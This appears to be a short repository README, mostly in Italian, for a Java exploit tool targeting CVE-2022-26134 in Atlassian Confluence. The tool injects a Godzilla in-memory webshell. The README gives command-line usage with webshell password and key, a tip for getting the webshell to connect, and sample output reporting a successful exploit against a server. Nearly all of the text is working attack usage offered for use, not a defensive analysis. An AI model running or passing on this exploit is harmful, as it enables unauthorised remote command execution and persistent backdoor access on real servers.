beichendream/cve-2022-26134-godzilla-memshellExploit basato su Java per CVE-2022-26134 che inietta una webshell Godzilla nei server Atlassian Confluence, consentendo l'esecuzione di comandi remoti e l'accesso persistente a una shell in memoria.
java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥
example
java -jar CVE-2022-26134.jar pass key
Se il memory shell è stato iniettato con successo ma Godzilla non riesce a connettersi, aggiungi la seguente intestazione nella configurazione della richiesta oppure configura un proxy Burp per Godzilla.
Connection: close
C:\CVE_2022_26134_jar>java -jar CVE-2022-26134.jar http://10.10.10.10:8090/ pass key
[*] url: http://10.10.10.10:8090/
[*] send payload
[*] exploit success
[*] godzilla webshell password : pass
[*] godzilla webshell key : key
C:\CVE_2022_26134_jar>
